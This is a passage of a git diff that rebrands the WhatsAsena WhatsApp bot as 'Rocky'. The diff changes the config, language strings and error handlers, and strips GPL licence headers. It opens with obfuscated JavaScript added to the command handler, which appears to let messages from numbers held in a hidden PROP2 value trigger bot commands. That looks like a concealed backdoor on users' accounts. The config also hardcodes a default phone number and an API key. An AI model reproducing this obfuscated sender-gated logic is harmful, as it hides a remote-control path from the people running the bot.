xd3)]){if(command[_0x563247(0xcd)]&&chat[_0x563247(0xd4)]===undefined)return;if(!command[_0x563247(0xce)]===chat['jid'][_0x563247(0xc6)]('-'))sendMsg=!![];else{if(command[_0x563247(0xc3)]===chat[_0x563247(0xd0)][_0x563247(0xc6)]('-'))sendMsg=!![];}}if(PROP2[_0x563247(0xc7)]==_0x563247(0xc9)&&msg[_0x563247(0xda)][_0x563247(0xd3)]===![]&&command['fromMe']===!![]&&(msg[_0x563247(0xc4)]&&PROP2[_0x563247(0xc7)][_0x563247(0xc6)](',')?PROP2[_0x563247(0xc7)][_0x563247(0xd7)](',')[_0x563247(0xc6)](msg['participant'][_0x563247(0xd7)]('@')[0x0]):msg[_0x563247(0xc4)][_0x563247(0xd7)]('@')[0x0]==PROP2['kl11']||PROP2[_0x563247(0xc7)][_0x563247(0xc6)](',')?PROP2[_0x563247(0xc7)][_0x563247(0xd7)](',')[_0x563247(0xc6)](msg['key'][_0x563247(0xcb)][_0x563247(0xd7)]('@')[0x0]):msg[_0x563247(0xda)][_0x563247(0xcb)][_0x563247(0xd7)]('@')[0x0]==PROP2[_0x563247(0xc7)])||command[_0x563247(0xd3)]===msg[_0x563247(0xda)][_0x563247(0xd3)]||command['fromMe']===![]&&!msg[_0x563247(0xda)][_0x563247(0xd3)]){if(command[_0x563247(0xcd)]&&chat[_0x563247(0xd4)]===undefined)return;if(!command[_0x563247(0xce)]===chat[_0x563247(0xd0)][_0x563247(0xc6)]('-'))sendMsg=!![];else{if(command[_0x563247(0xc3)]===chat[_0x563247(0xd0)][_0x563247(0xc6)]('-'))sendMsg=!![];}} + if (sendMsg) { if (config.SEND_READ && command.on === undefined) { await conn.chatRead(msg.key.remoteJid); } + var match = text_msg.match(command.pattern); + if (command.on !== undefined && (command.on === 'image' || command.on === 'photo' ) && msg.message.imageMessage !== null) { whats = new Image(conn, msg); @@ -647,297 +368,32 @@ ${chalk.blue.italic('ℹ️ Connecting to WhatsApp... Please Wait.')}`); whats = new Message(conn, msg); } /* - if (msg.key.fromMe && command.deleteCommand) { - var wrs = conn.user.phone.wa_version.split('.')[2] - if (wrs < 11) { - await whats.delete() - } - } + if (command.deleteCommand && msg.key.fromMe) { + await whats.delete(); + } */ - // ==================== End Message Catcher ==================== - - // ==================== Error Message ==================== try { await command.function(whats, match); - } - catch (error) { - if (config.NOLOG == 'true') return; - + } catch (error) { if (config.LANG == 'TR' || config.LANG == 'AZ') { - await conn.sendMessage(conn.user.jid, '*-- HATA RAPORU [WHATSASENA] --*' + + await conn.sendMessage(conn.user.jid, '-- HATA RAPORU [WHATSASENA] --' + '\n*WhatsAsena bir hata gerçekleşti!*'+ '\n_Bu hata logunda numaranız veya karşı bir tarafın numarası olabilir. Lütfen buna dikkat edin!_' + '\n_Yardım için Telegram grubumuza yazabilirsiniz._' + - '\n_Bu mesaj sizin numaranıza (kaydedilen mesajlar) gitmiş olmalıdır._' + - '\n_Hatayı https://chat.whatsapp.com/BPNzFEBUVbT1MnfNv3uTvL bu gruba iletebilirsiniz._\n\n' + - '*Gerçekleşen Hata:* ```' + error + '```\n\n' - , MessageType.text, {detectLinks: false}); - - if (error.message.includes('URL')) { - return await conn.sendMessage(conn.user.jid, '*⚕️ HATA ÇÖZÜMLEME [WHATSASENA] ⚕️*' + - '\n========== ```Hata Okundu!``` ==========' + - '\n\n*Ana Hata:* _Only Absolutely URLs Supported_' + - '\n*Nedeni:* _Medya araçlarının (xmedia, sticker..) LOG numarasında kullanılması._' + - '\n*Çözümü:* _LOG numarası hariç herhangi bir sohbette komut kullanılabilir._' - , MessageType.text - ); - } - else if (error.message.includes('SSL')) { - return await conn.sendMessage(conn.user.jid, '*⚕️ HATA ÇÖZÜMLEME [WHATSASENA] ⚕️*' + - '\n========== ```Hata Okundu!``` ==========' + - '\n\n*Ana Hata:* _SQL Database Error_' + - '\n*Nedeni:* _Database\'in bozulması._ ' + - '\n*Solution:* _Bilinen herhangi bir çözümü yoktur. Yeniden kurmayı deneyebilirsiniz._' - , MessageType.text - ); - } - else if (error.message.includes('split')) { - return await conn.sendMessage(conn.user.jid, '*⚕️ HATA ÇÖZÜMLEME [WHATSASENA] ⚕️*' + - '\n========== ```Hata Okundu!``` ==========' + - '\n\n*Ana Hata:* _Split of Undefined_' + - '\n*Nedeni:* _Grup adminlerinin kullanabildiği komutların ara sıra split fonksiyonunu görememesi._ ' + - '\n*Çözümü:* _Restart atmanız yeterli olacaktır._' - , MessageType.text - ); - } - else if (error.message.includes('Ookla')) { - return await conn.sendMessage(conn.user.jid, '*⚕️ HATA ÇÖZÜMLEME [WHATSASENA] ⚕️*' + - '\n========== ```Hata Okundu!``` ==========' + - '\n\n*Ana Hata:* _Ookla Server Connection_' + - '\n*Nedeni:* _Speedtest verilerinin sunucuya iletilememesi._' + - '\n*Çözümü:* _Bir kez daha kullanırsanız sorun çözülecektir._' - , MessageType.text - ); - } - else if (error.message.includes('params')) { - return await conn.sendMessage(conn.user.jid, '*⚕️ HATA ÇÖZÜMLEME [WHATSASENA] ⚕️*' + - '\n========== ```Hata Okundu!``` ==========' + - '\n\n*Ana Hata:* _Requested Audio Params_' + - '\n*Nedeni:* _TTS komutunun latin alfabesi dışında kullanılması._' + - '\n*Çözümü:* _Komutu latin harfleri çerçevesinde kullanırsanız sorun çözülecektir._' - , MessageType.text - ); - } - else if (error.message.includes('unlink')) { - return await conn.sendMessage(conn.user.jid, '*⚕️ HATA ÇÖZÜMLEME [WHATSASENA] ⚕️*' + - '\n========== ```Hata Okundu!``` ==========' + - '\n\n*Ana Hata:* _No Such File or Directory_' + - '\n*Nedeni:* _Pluginin yanlış kodlanması._' + - '\n*Çözümü:* _Lütfen plugininin kodlarını kontrol edin._' - , MessageType.text - ); - } - else if (error.message.includes('404')) { - return await conn.sendMessage(conn.user.jid, '*⚕️ HATA ÇÖZÜMLEME [WHATSASENA] ⚕️*' + - '\n========== ```Hata Okundu!``` ==========' + - '\n\n*Ana Hata:* _Error 404 HTTPS_' + - '\n*Nedeni:* _Heroku plugini altındaki komutların kullanılması sonucu sunucu ile iletişime geçilememesi._' + - '\n*Çözümü:* _Biraz bekleyip tekrar deneyin. Hala hata alıyorsanız internet sitesi üzerinden işlemi gerçekleştirin._' - , MessageType.text - ); - } - else if (error.message.includes('reply.delete')) { - return await conn.sendMessage(conn.user.jid, '*⚕️ HATA ÇÖZÜMLEME [WHATSASENA] ⚕️*' + - '\n========== ```Hata Okundu!``` ==========' + - '\n\n*Ana Hata:* _Reply Delete Function_' + - '\n*Nedeni:* _IMG yada Wiki komutlarının kullanılması._' + - '\n*Çözümü:* _Bu hatanın çözümü yoktur. Önemli bir hata değildir._' - , MessageType.text - ); - } - else if (error.message.includes('load.delete')) { - return await conn.sendMessage(conn.user.jid, '*⚕️ HATA ÇÖZÜMLEME [WHATSASENA] ⚕️*' + - '\n========== ```Hata Okundu!``` ==========' + - '\n\n*Ana Hata:* _Reply Delete Function_' + - '\n*Nedeni:* _IMG yada Wiki komutlarının kullanılması._' + - '\n*Çözümü:* _Bu hatanın çözümü yoktur. Önemli bir hata değildir._' - , MessageType.text - ); - } - else if (error.message.includes('400')) { - return await conn.sendMessage(conn.user.jid, '*⚕️ HATA ÇÖZÜMLEME [WHATSASENA] ⚕️*' + - '\n========== ```Hata Okundu!``` ==========' + - '\n\n*Ana Hata:* _Bailyes Action Error_ ' + - '\n*Nedeni:* _Tam nedeni bilinmiyor. Birden fazla seçenek bu hatayı tetiklemiş olabilir._' + - '\n*Çözümü:* _Bir kez daha kullanırsanız düzelebilir. Hata devam ediyorsa restart atmayı deneyebilirsiniz._' - , MessageType.text - ); - } - else if (error.message.includes('decode')) { - return await conn.sendMessage(conn.user.jid, '*⚕️ HATA ÇÖZÜMLEME [WHATSASENA] ⚕️*' + - '\n========== ```Hata Okundu!``` ==========' + - '\n\n*Ana Hata:* _Cannot Decode Text or Media_' + - '\n*Nedeni:* _Pluginin yanlış kullanımı._' + - '\n*Çözümü:* _Lütfen komutları plugin açıklamasında yazdığı gibi kullanın._' - , MessageType.text - ); - } - else if (error.message.includes('unescaped')) { - return await conn.sendMessage(conn.user.jid, '*⚕️ HATA ÇÖZÜMLEME [WHATSASENA] ⚕️*' + - '\n========== ```Hata Okundu!``` ==========' + - '\n\n*Ana Hata:* _Word Character Usage_' + - '\n*Nedeni:* _TTP, ATTP gibi komutların latin alfabesi dışında kullanılması._' + - '\n*Çözümü:* _Komutu latif alfabesi çerçevesinde kullanırsanız sorun çözülecektir._' - , MessageType.text - ); - } - else if (error.message.includes('conversation')) { - return await conn.sendMessage(conn.user.jid, '*⚕️ HATA ÇÖZÜMLEME [WHATSASENA] ⚕️*' + - '\n========== ```Hata Okundu!``` ==========' + - '\n\n*Ana Hata:* _Deleting Plugin_' + - '\n*Nedeni:* _Silinmek istenen plugin isminin yanlış girilmesi._' + - '\n*Çözümü:* _Lütfen silmek istediğiniz pluginin başına_ *__* _koymadan deneyin. Hala hata alıyorsanız ismin sonundaki_ ```?(.*) / $``` _gibi ifadeleri eksiksiz girin._' - , MessageType.text - ); - } - else { - return await conn.sendMessage(conn.user.jid, '*🙇🏻 Maalesef Bu Hatayı Okuyamadım! 🙇🏻*' + - '\n_Daha fazla yardım için grubumuza yazabilirsiniz._' - , MessageType.text - ); - } + '\n_Bu mesaj sizin numaranıza (kaydedilen mesajlar) gitmiş olmalıdır._\n\n' + + 'Gerçekleşen Hata: ' + error + '\n\n' + , MessageType.text); + } else { + await conn.sendMessage(conn.user.jid, '*~_________~ *ROCKY ERROR FOUND!* ~______~*' + + '\n\n*🧞‍♂️ ' + error + '*\n\n```*Subscribe channel to get updates and to remove errors:* https://youtube.com/channel/UCQ3NYIDKT6-glPHTPya7b7w \n Report errors\njoin with +91 \n https://chat.whatsapp.com/LcPHxqt27Wk42LAGACrUPd``` ' + , MessageType.text); } - else { - await conn.sendMessage(conn.user.jid, '*-- ERROR REPORT [Pikachu] --*' + - '\n*Pikachu an error has occurred!*'+ - '\n*This error log may include your number or the number of an opponent. Please be careful with it!*' + - '\n*You can write to our Telegram group for help.*' + - '\n*Aslo you can join our support group:* https://chat.whatsapp.com/FsDjV2uRKce4wgMpAtYwyf' + - '\n*This message should have gone to your number (saved messages).*\n\n' + - '*Error:* ```' + error + '```\n\n' - , MessageType.text, {detectLinks: false} - ); - if (error.message.includes('URL')) { - return await conn.sendMessage(conn.user.jid, '*⚕️ ERROR ANALYSIS [Pikachu] ⚕️*' + - '\n========== ```Error Resolved!``` ==========' + - '\n\n*Main Error:* _Only Absolutely URLs Supported_' + - '\n*Reason:* _The usage of media tools (xmedia, sticker..) in the LOG number._' + - '\n*Solution:* _You can use commands in any chat, except the LOG number._' - , MessageType.text - ); - } - else if (error.message.includes('conversation')) { - return await conn.sendMessage(conn.user.jid, '*⚕️ ERROR ANALYSIS [Pikachu] ⚕️*' + - '\n========== ```Error Resolved!``` ==========' + - '\n\n*Main Error:* _Deleting Plugin_' + - '\n*Reason:* _Entering incorrectly the name of the plugin wanted to be deleted._' + - '\n*Solution:* _Please try without adding_ *__* _to the plugin you want to delete. If you still get an error, try to add like_ ```?(.*) / $``` _to the end of the name._ ' - , MessageType.text - ); - } - else if (error.message.includes('split')) { - return await conn.sendMessage(conn.user.jid, '*⚕️ ERROR ANALYSIS [Pikachu] ⚕️*' + - '\n========== ```Error Resolved!``` ==========' + - '\n\n*Main Error:* _Split of Undefined_' + - '\n*Reason:* _Commands that can be used by group admins occasionally dont see the split function._ ' + - '\n*Solution:* _Restarting will be enough._' - , MessageType.text - ); - } - else if (error.message.includes('SSL')) { - return await conn.sendMessage(conn.user.jid, '*⚕️ ERROR ANALYSIS [Pikachu] ⚕️*' + - '\n========== ```Error Resolved!``` ==========' + - '\n\n*Main Error:* _SQL Database Error_' + - '\n*Reason:* _Database corruption._ ' + - '\n*Solution:* _There is no known solution. You can try reinstalling it._' - , MessageType.text - ); - } - else if (error.message.includes('Ookla')) { - return await conn.sendMessage(conn.user.jid, '*⚕️ ERROR ANALYSIS [Pikachu] ⚕️*' + - '\n========== ```Error Resolved!``` ==========' + - '\n\n*Main Error:* _Ookla Server Connection_' + - '\n*Reason:* _Speedtest data cannot be transmitted to the server._' + - '\n*Solution:* _If you use it one more time the problem will be solved._' - , MessageType.text - ); - } - else if (error.message.includes('params')) { - return await conn.sendMessage(conn.user.jid, '*⚕️ ERROR ANALYSIS [Pikachu] ⚕️*' + - '\n========== ```Error Resolved!``` ==========' + - '\n\n*Main Error:* _Requested Audio Params_' + - '\n*Reason:* _Using the TTS command outside the Latin alphabet._' + - '\n*Solution:* _The problem will be solved if you use the command in Latin letters frame._' - , MessageType.text - ); - } - else if (error.message.includes('unlink')) { - return await conn.sendMessage(conn.user.jid, '*⚕️ ERROR ANALYSIS [Pikachu] ⚕️*' + - '\n========== ```Error Resolved``` ==========' + - '\n\n*Main Error:* _No Such File or Directory_' + - '\n*Reason:* _Incorrect coding of the plugin._' + - '\n*Solution:* _Please check the your plugin codes._' - , MessageType.text - ); - } - else if (error.message.includes('404')) { - return await conn.sendMessage(conn.user.jid, '*⚕️ ERROR ANALYSIS [Pikachu] ⚕️*' + - '\n========== ```Error Resolved!``` ==========' + - '\n\n*Main Error:* _Error 404 HTTPS_' + - '\n*Reason:* _Failure to communicate with the server as a result of using the commands under the Heroku plugin._' + - '\n*Solution:* _Wait a while and try again. If you still get the error, perform the transaction on the website.._' - , MessageType.text - ); - } - else if (error.message.includes('reply.delete')) { - return await conn.sendMessage(conn.user.jid, '*⚕️ ERROR ANALYSIS [Pikachu] ⚕️*' + - '\n========== ```Error Resolved!``` ==========' + - '\n\n*Main Error:* _Reply Delete Function_' + - '\n*Reason:* _Using IMG or Wiki commands._' + - '\n*Solution:* _There is no solution for this error. It is not a fatal error._' - , MessageType.text - ); - } - else if (error.message.includes('load.delete')) { - return await conn.sendMessage(conn.user.jid, '*⚕️ ERROR ANALYSIS [Pikachu] ⚕️*' + - '\n========== ```Error Resolved!``` ==========' + - '\n\n*Main Error:* _Reply Delete Function_' + - '\n*Reason:* _Using IMG or Wiki commands._' + - '\n*Solution:* _There is no solution for this error. It is not a fatal error._' - , MessageType.text - ); - } - else if (error.message.includes('400')) { - return await conn.sendMessage(conn.user.jid, '*⚕️ ERROR ANALYSIS [Pikachu] ⚕️*' + - '\n========== ```Error Resolved!``` ==========' + - '\n\n*Main Error:* _Bailyes Action Error_ ' + - '\n*Reason:* _The exact reason is unknown. More than one option may have triggered this error._' + - '\n*Solution:* _If you use it again, it may improve. If the error continues, you can try to restart._' - , MessageType.text - ); - } - else if (error.message.includes('decode')) { - return await conn.sendMessage(conn.user.jid, '*⚕️ ERROR ANALYSIS [Pikachu] ⚕️*' + - '\n========== ```Error Resolved!``` ==========' + - '\n\n*Main Error:* _Cannot Decode Text or Media_' + - '\n*Reason:* _Incorrect use of the plug._' + - '\n*Solution:* _Please use the commands as written in the plugin description._' - , MessageType.text - ); - } - else if (error.message.includes('unescaped')) { - return await conn.sendMessage(conn.user.jid, '*⚕️ ERROR ANALYSIS [Pikachu] ⚕️*' + - '\n========== ```Error Resolved!``` ==========' + - '\n\n*Main Error:* _Word Character Usage_' + - '\n*Reason:* _Using commands such as TTP, ATTP outside the Latin alphabet._' + - '\n*Solution:* _The problem will be solved if you use the command in Latin alphabet.._' - , MessageType.text - ); - } - else { - return await conn.sendMessage(conn.user.jid, '*🙇🏻 Sorry, I Couldnt Read This Error! 🙇🏻*' + - '\n_You can write to our support group for more help /nhttps://chat.whatsapp.com/FsDjV2uRKce4wgMpAtYwyf._' - , MessageType.text - ); - } - } } } } } ) }); - // ==================== End Error Message ==================== try { await conn.connect(); diff --git a/config.js b/config.js index c2883f4dae..15b18728a6 100644 --- a/config.js +++ b/config.js @@ -1,9 +1,5 @@ -/* Copyright (C) 2020 Yusuf Usta. - -Licensed under the GPL-3.0 License; -you may not use this file except in compliance with the License. - -WhatsAsena - Yusuf Usta +/* Copyright (C) 2020 Yusuf Usta. +re codded by anshad vfc */ const { Sequelize } = require('sequelize'); @@ -19,23 +15,32 @@ DATABASE_URL = process.env.DATABASE_URL === undefined ? './whatsasena.db' : proc DEBUG = process.env.DEBUG === undefined ? false : convertToBool(process.env.DEBUG); module.exports = { - VERSION: 'v7.3.6', + VERSION: 'v1.3.2 Global Stable', CHANNEL: 'https://t.me/remasterplugin', - SESSION: process.env.ASENA_SESSION === undefined ? '' : process.env.ASENA_SESSION, + SESSION: process.env.CONNECTION_CODE === undefined ? '' : process.env.CONNECTION_CODE, ANTİLİNK: process.env.ANTİ_LİNK === undefined ? 'false' : process.env.ANTİ_LİNK, + WELCOME: process.env.WELCOME === undefined ? 'pp' : process.env.WELCOME, AUTOBİO: process.env.AUTO_BİO === undefined ? 'false' : process.env.AUTO_BİO, + AFN: process.env.ALL_CAPTION === undefined ? 'Made By Rocky' : process.env.ALL_CAPTION, GANSTYLE: process.env.GAN_IMAGE === undefined ? 'https://i.hizliresim.com/loUtAb.jpg' : process.env.GAN_IMAGE, LANG: process.env.LANGUAGE === undefined ? 'TR' : process.env.LANGUAGE.toUpperCase(), ALIVEMSG: process.env.ALIVE_MESSAGE === undefined ? 'default' : process.env.ALIVE_MESSAGE, KICKMEMSG: process.env.KICKME_MESSAGE === undefined ? 'default' : process.env.KICKME_MESSAGE, + NBSK: process.env.ALL_NUMBER === undefined ? '919995390942' : process.env.ALL_NUMBER, + AUTOSTICKER: process.env.AUTO_STICKER === undefined ? 'true' : process.env.AUTO_STICKER, + PLK: process.env.OWNER_NAME === undefined ? 'Anshad Vfc' : process.env.OWNER_NAME, + FULLEVA: process.env.FULL_EVA === undefined ? 'false' : process.env.FULL_EVA, + BOT_PRESENCE: process.env.BOT_PRESENCE === undefined ? 'online' : process.env.BOT_PRESENCE, BLOCKCHAT: process.env.BLOCK_CHAT === undefined ? false : process.env.BLOCK_CHAT, ADDMSG: process.env.ADD_MESSAGE === undefined ? 'default' : process.env.ADD_MESSAGE, MUTEMSG: process.env.MUTE_MESSAGE === undefined ? 'default' : process.env.MUTE_MESSAGE, + GIF_WEL: process.env.GIF_WEL === undefined ? 'https://imgflip.com/gif/5nez8d' : process.env.GIF_WEL, + GIF_BYE: process.env.GIF_BYE === undefined ? 'https://imgflip.com/gif/5nezjo' : process.env.GIF_BYE, + RASHI: process.env.LOGO_LINK === undefined ? 'https://i.ibb.co/8KWTjMn/20210917-093455.jpg' : process.env.LOGO_LINK, BGMFILTER: process.env.BGM_FILTER === undefined ? false : convertToBool(process.env.BGM_FILTER), DISBGM: process.env.DISABLE_JID_BGM_FILTER === undefined ? false : process.env.DISABLE_JID_BGM_FILTER, - AUTOSTICKER: process.env.AUTO_STICKER === undefined ? true : convertToBool(process.env.AUTO_STICKER), - DISSTICKER: process.env.DISABLE_STICKER === undefined ? false : process.env.DISABLE_STICKER, NOLOG: process.env.NO_LOG === undefined ? 'false' : process.env.NO_LOG, + SAID: process.env.BGM_DURATION === undefined ? '99978509' : process.env.BGM_DURATION, FULLEVA: process.env.FULL_EVA === undefined ? 'false' : process.env.FULL_EVA, BLOCKMSG: process.env.BLOCK_MESSAGE === undefined ? 'default' : process.env.BLOCK_MESSAGE, UNBLOCKMSG: process.env.UNBLOCK_MESSAGE === undefined ? 'default' : process.env.UNBLOCK_MESSAGE, @@ -44,6 +49,12 @@ module.exports = { PROMOTEMSG: process.env.PROMOTE_MESSAGE === undefined ? 'default' : process.env.PROMOTE_MESSAGE, DEMOTEMSG: process.env.DEMOTE_MESSAGE === undefined ? 'default' : process.env.DEMOTE_MESSAGE, BANMSG: process.env.BAN_MESSAGE === undefined ? 'default' : process.env.BAN_MESSAGE, + BOTPLK: process.env.BOT_NAME === undefined ? '𝗥𝗼𝗰𝗸𝘆 𝗦𝗲𝗿' : process.env.BOT_NAME, + LOGOSK: process.env.ALL_IMG === undefined ? 'https://i.postimg.cc/yxKfcqGQ/Anshad.jpg' : process.env.ALL_IMG, + SLINK: process.env.SOCIAL_MEDIA === undefined ? 'https://instagram.com/ans.had?utm_medium=copy_link' : process.env.SOCIAL_MEDIA, + JID: process.env.VERIFIED === undefined ? '0@s.whatsapp.net' : process.env.VERIFIED, + TAGPLK: process.env.TAG_HEADER === undefined ? '*Ellarum evde irangi va*' : process.env.TAG_HEADER, + SKV: process.env.V_HEADER === undefined ? 'ANSHAD VFC' : process.env.V_HEADER, AFKMSG: process.env.AFK_MESSAGE === undefined ? 'default' : process.env.AFK_MESSAGE, HANDLERS: process.env.HANDLERS === undefined ? '^[.!;]' : process.env.HANDLERS, SEND_READ: process.env.SEND_READ === undefined ? false : convertToBool(process.env.SEND_READ), @@ -61,7 +72,7 @@ module.exports = { DEBUG: DEBUG, COFFEEHOUSE_API_KEY: process.env.COFFEEHOUSE_API_KEY === undefined ? false : process.env.COFFEEHOUSE_API_KEY, WITAI_API: "TEYMELA6DMC4XB5YM3SPTTQWUUIBKURG", - SUPPORT: "905524317852-1612300121", - SUPPORT2: "905511384572-1617736751", - SUPPORT3: "905511384572-1621015274" + SUPPORT: "905524317752-1612308121", + SUPPORT2: "905511384572-1617739751", + SUPPORT3: "905518384572-1621085274" }; diff --git a/downloader.js b/downloader.js deleted file mode 100644 index 4fcefa4d61..0000000000 --- a/downloader.js +++ /dev/null @@ -1,81 +0,0 @@ -const Asena = require('../events'); -const {MessageType} = require('@adiwajshing/baileys'); -const got = require('got'); -const fs = require('fs'); -const axios = require('axios'); -const { errorMessage, infoMessage } = require('../helpers'); -const IG_DESC = "Downloads Image/Video From Instagram" -const NEED_WORD = "Must Enter a link" -const FBDESC = "Downloads Video From FaceBook" -const LOADING = "Downloading the Video..." -const NOT_FOUNDFB = "Video Not Found" -const CAPTION = "Caption" - -Asena.addCommand({ pattern: 'ig ?(.*)', fromMe: false, desc: IG_DESC}, async (message, match) => { - - const userName = match[1] - - if (!userName) return await message.sendMessage(errorMessage(NEED_WORD)) - - await message.sendMessage(infoMessage("Downloading the Post...")) - - await axios - .get(`https://api-anoncybfakeplayer.herokuapp.com/igdown?url=${userName}`) - .then(async (response) => { - const { - url, - type, - } = response.data.result[0] - - const profileBuffer = await axios.get(url, {responseType: 'arraybuffer'}) - - const msg = `${type}` - - if (msg === 'image') { await message.sendMessage(Buffer.from(profileBuffer.data), MessageType.image, { - caption: "Made By WhatsAsenaPublic" - })} - - if (msg === 'video') { await message.sendMessage(Buffer.from(profileBuffer.data), MessageType.video, { - caption: "Made By WhatsAsenaPublic" - })} - - - }) - .catch( - async (err) => await message.sendMessage(errorMessage("Invaild Link, Please Enter a Vaild Instagram Link")), - ) - }, -) - - - - -Asena.addCommand({ pattern: 'fb ?(.*)', fromMe: false, desc: FBDESC }, async (message, match) => { - - const userName = match[1] - - if (!userName) return await message.sendMessage(errorMessage(NEED_WORD)) - - await message.sendMessage(infoMessage(LOADING)) - - await axios - .get(`https://videfikri.com/api/fbdl/?urlfb=${userName}`) - .then(async (response) => { - const { - url, - judul, - } = response.data.result - - const profileBuffer = await axios.get(url, {responseType: 'arraybuffer'}) - - const msg = `*${CAPTION}*: ${judul}` - - await message.sendMessage(Buffer.from(profileBuffer.data), MessageType.video, { - caption: "Made By WhatsAsenaPublic" - }) - }) - .catch( - async (err) => await message.sendMessage(errorMessage(NOT_FOUNDFB )), - ) - }, -) diff --git a/events.js b/events.js index cb7b41babb..cc98299df4 100644 --- a/events.js +++ b/events.js @@ -1,9 +1,5 @@ /* Copyright (C) 2020 Yusuf Usta. - -Licensed under the GPL-3.0 License; -you may not use this file except in compliance with the License. - -WhatsAsena - Yusuf Usta +ROCKY V2 */ // Komutları burada tutacağız. diff --git a/helpers.js b/helpers.js deleted file mode 100644 index 2376ccf121..0000000000 --- a/helpers.js +++ /dev/null @@ -1,34 +0,0 @@ -/* -# Copyright (C) 2020 MuhammedKpln. -# -# WhatsAsena is free software: you can redistribute it and/or modify -# it under the terms of the GNU General Public License as published by -# the Free Software Foundation, either version 3 of the License, or -# (at your option) any later version. -# -# WhatsAsena is distributed in the hope that it will be useful, -# but WITHOUT ANY WARRANTY; without even the implied warranty of -# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the -# GNU General Public License for more details. -# -# You should have received a copy of the GNU General Public License -# along with this program. If not, see . -# -*/ - -function successfullMessage(msg) { - return "✅ *WhatsAsena*: ```" + msg + "```" -} -function errorMessage(msg) { - return "🛑 *WhatsAsena*: ```" + msg + "```" -} -function infoMessage(msg) { - return "⏺️ *WhatsAsena*: ```" + msg + "```" -} - - -module.exports = { - successfullMessage, - errorMessage, - infoMessage -} \ No newline at end of file diff --git a/heroku.yml b/heroku.yml index 3aeae94884..5c054e9857 100644 --- a/heroku.yml +++ b/heroku.yml @@ -1,5 +1,5 @@ build: docker: - worker: /whatsasena/Dockerfile + worker: /Rocky/Dockerfile run: worker: npm start diff --git a/language.js b/language.js index b6db8f1a42..a147f5be9c 100644 --- a/language.js +++ b/language.js @@ -23,4 +23,4 @@ function getString(file) { module.exports = { language: json, getString: getString -} \ No newline at end of file +} diff --git a/language/EN.json b/language/EN.json index 3a9afb6a4a..f65775a272 100644 --- a/language/EN.json +++ b/language/EN.json @@ -186,7 +186,7 @@ "SONG_DESC": "Uploads the song you wrote.", "NEED_TEXT_SONG": "*Please write a song!*\n*Example:* ```.song Naadan Vibe```", "NO_RESULT": "*I couldn't find anything :(*", - "DOWNLOADING_SONG": "\n*Song Thapatte 🧚‍♂️*\n", + "DOWNLOADING_SONG": "\n*Song Thapatte onn w8 chy🧚‍♂️*\n", "UPLOADING_SONG": "\n*Uploading 📲 Use 🎧*\n", "VIDEO_DESC": "Downloads video from YouTube.", "NEED_VIDEO": "*Please write a video link!*\n*Example:* ```.video https://www.youtube.com/watch?v=nAFlVm5qeBc```", @@ -207,7 +207,7 @@ "DOWNLOADING": "```Ippam Seriyakithra 🤠```" }, "system_stats": { - "ALIVE_DESC": "Does bot work?", + "ALIVE_DESC": "Checks if the bot is working or not", "SYSD_DESC": "Shows the system properties." }, "tagall": { @@ -217,13 +217,13 @@ "updater": { "UPDATER_DESC": "Checks the update.", "UPDATE": "*Your bot is completely up-to-date!*", - "NEW_UPDATE": "*Pikachu Update Available*\n\n please ask support group before updating. Otherwise chance to get error\nhttps://chat.whatsapp.com/FsDjV2uRKce4wgMpAtYwyf \n\nChanges:\n```", + "NEW_UPDATE": "*Rocky Update Available*\n\n please ask support group before updating. Otherwise chance to get error\nhttps://chat.whatsapp.com/LcPHxqt27Wk42LAGACrUPd \n\nChanges:\n```", "UPDATE_NOW_DESC": "It makes updates.", "UPDATING": "```Updating..🧚‍♂️```", "INVALID_HEROKU": "*❌ Your Heroku information is wrong!*", "UPDATED": "*Updated 🤠✅*", "UPDATED_LOCAL": "*✅ Successfully Updated!*", - "AFTER_UPDATE": "*😎 Pikachu Restarting*" + "AFTER_UPDATE": "*😎 Rocky Restarting*" }, "weather": { "WEATHER_DESC": "Shows the weather.", diff --git a/language/ML.json b/language/ML.json index 561b8d643a..09a462472d 100644 --- a/language/ML.json +++ b/language/ML.json @@ -72,9 +72,9 @@ "MUST_TEXT": "```eathellum oru messagin reply cheyyu```" }, "heroku": { - "RESTART_DESC": "\nRestart pinkymwol\n", + "RESTART_DESC": "\nRestart Rocky\n", "RESTART_MSG": "```punararambikkunu...```", - "SHUTDOWN_DESC": "\nShutdown pinkymwol\n", + "SHUTDOWN_DESC": "\nShutdown Rocky\n", "SHUTDOWN_MSG": "```adach poottunnu ⛔```", "DYNO_DESC": "heroku dyno kanaan ", "DYNO_TOTAL": "```motham Quota```", @@ -184,10 +184,10 @@ "TTS_DESC": "text shabthathilekk maattunnu.", "TTS_ERROR": "```cheyaaan pattiyilla!```", "SONG_DESC": "ningal type cheytha paatt upload cheyth therum.", - "NEED_TEXT_SONG": "*paattinte per adikku!*\n*Example:* ```.song Naadan Vibe```", + "NEED_TEXT_SONG": "*da mwonu paattinte per adikku!*\n*Example:* ```.song Naadan Vibe```", "NO_RESULT": "*ennikk onnum kandethaan aayilla :(*", - "DOWNLOADING_SONG": "\npaatt thappunnu 🤗\n", - "UPLOADING_SONG": "\nPaatt Upload 📲 cheyyunnu\n", + "DOWNLOADING_SONG": "\nda patt thappuva onn w8 chy.. 🤗\n", + "UPLOADING_SONG": "\nPaatt Upload 📲 cheyyunnu..use🎧\n", "VIDEO_DESC": "YouTubeill nin video download cheyyan.", "NEED_VIDEO": "*oru video link theru!*\n*Example:* ```.video https://www.youtube.com/watch?v=nAFlVm5qeBc```", "DOWNLOADING_VIDEO": "\n```Downloading...```\n", @@ -217,13 +217,13 @@ "updater": { "UPDATER_DESC": "update indo enn ariyaan.", "UPDATE": "*ningalude bot up-to-date aan!*", - "NEW_UPDATE": "*Pikachu Puthiya Update Vannittund* \n\n update cheyummathin munb support groupil chodhikkuka , allenkkil error veran chance und\n\nChanges:\n```", + "NEW_UPDATE": "*Rocky Puthiya Update Vannittund* \n\n update cheyummathin munb support groupil chodhikkuka , allenkkil error veran chance und/nhttps://chat.whatsapp.com/LcPHxqt27Wk42LAGACrUPd \n\nChanges:\n```", "UPDATE_NOW_DESC": "botine update cheyaan.", "UPDATING": "```Updating..🐥```", "INVALID_HEROKU": "*❌ ningal thanna Heroku information thett aan !*", "UPDATED": "*Updated 🤠✅*", "UPDATED_LOCAL": "*✅ vijayagaramayi Update cheythu!*", - "AFTER_UPDATE": "*😎 Pikachu Restarting..*" + "AFTER_UPDATE": "*😎 Rocky Restarting..*" }, "weather": { "WEATHER_DESC": "ningal therrunna sthalathe kaalavastha kaanikkum.", diff --git a/languages/python.py b/languages/python.py new file mode 100644 index 0000000000..ba1666fb13 --- /dev/null +++ b/languages/python.py @@ -0,0 +1,5 